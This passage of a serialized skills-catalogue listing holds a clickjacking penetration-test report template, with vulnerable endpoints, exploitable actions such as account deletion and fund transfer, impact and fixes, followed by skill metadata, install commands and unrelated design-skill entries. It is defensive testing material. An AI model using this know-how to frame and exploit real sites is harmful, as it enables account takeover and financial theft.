X-Frame-Options | CSP frame-ancestors | Vulnerable |\n|------|----------------|--------------------|-|\n| \u002F | Not set | Not set | Yes |\n| \u002Faccount\u002Fsettings | Not set | Not set | Yes |\n| \u002Faccount\u002Fdelete | Not set | Not set | Yes |\n| \u002Ftransfer | Not set | Not set | Yes |\n| \u002Flogin | SAMEORIGIN | - | No |\n\n### Sensitive Actions Exploitable\n1. Account deletion (single click, no re-authentication)\n2. Email change (single click, no confirmation)\n3. 2FA disable (two clicks, multi-step PoC)\n4. Fund transfer (pre-filled form, single click)\n\n### Impact\n- Account takeover via email change clickjacking\n- Account destruction via delete clickjacking\n- Financial loss via transfer clickjacking\n- Security downgrade via 2FA disable clickjacking\n\n### Recommendation\n1. Add `Content-Security-Policy: frame-ancestors 'none'` to all pages\n2. Set `X-Frame-Options: DENY` as fallback for older browsers\n3. Require re-authentication for sensitive actions (delete, transfer)\n4. Add confirmation dialogs that cannot be pre-filled or auto-submitted\n5. Implement SameSite=Strict cookies to reduce session availability in frames\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"nist_ai_rmf":41,"mitre_attack":44,"atlas_techniques":49},[26,27,28,29,30,31],"penetration-testing","clickjacking","ui-redressing","web-security","owasp","x-frame-options","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43],"MEASURE-2.8","MAP-5.1",[45,46,47,48],"T1190","T1059.007","T1505.003","T1083",[50,51],"AML.T0024","AML.T0035","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill performing-clickjacking-attack-test",{"tool":67,"command":68},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill performing-clickjacking-attack-test",{"tool":70,"command":71},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill performing-clickjacking-attack-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test\u002FSKILL.md",true,[75,79,85],{"path":76,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"references\u002Fapi-reference.md","REFERENCE","参考文档",2222,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Freferences\u002Fapi-reference.md",{"path":86,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"scripts\u002Fagent.py","SCRIPT","脚本",7479,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fperforming-clickjacking-attack-test\u002Fscripts\u002Fagent.py",[92,100,108,117,124,131],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":96,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":104,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":109,"name":110,"nameZh":6,"description":111,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":113,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":128,"categories":129,"keywords":130,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":132,"name":133,"nameZh":6,"description":134,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":112,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":137,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]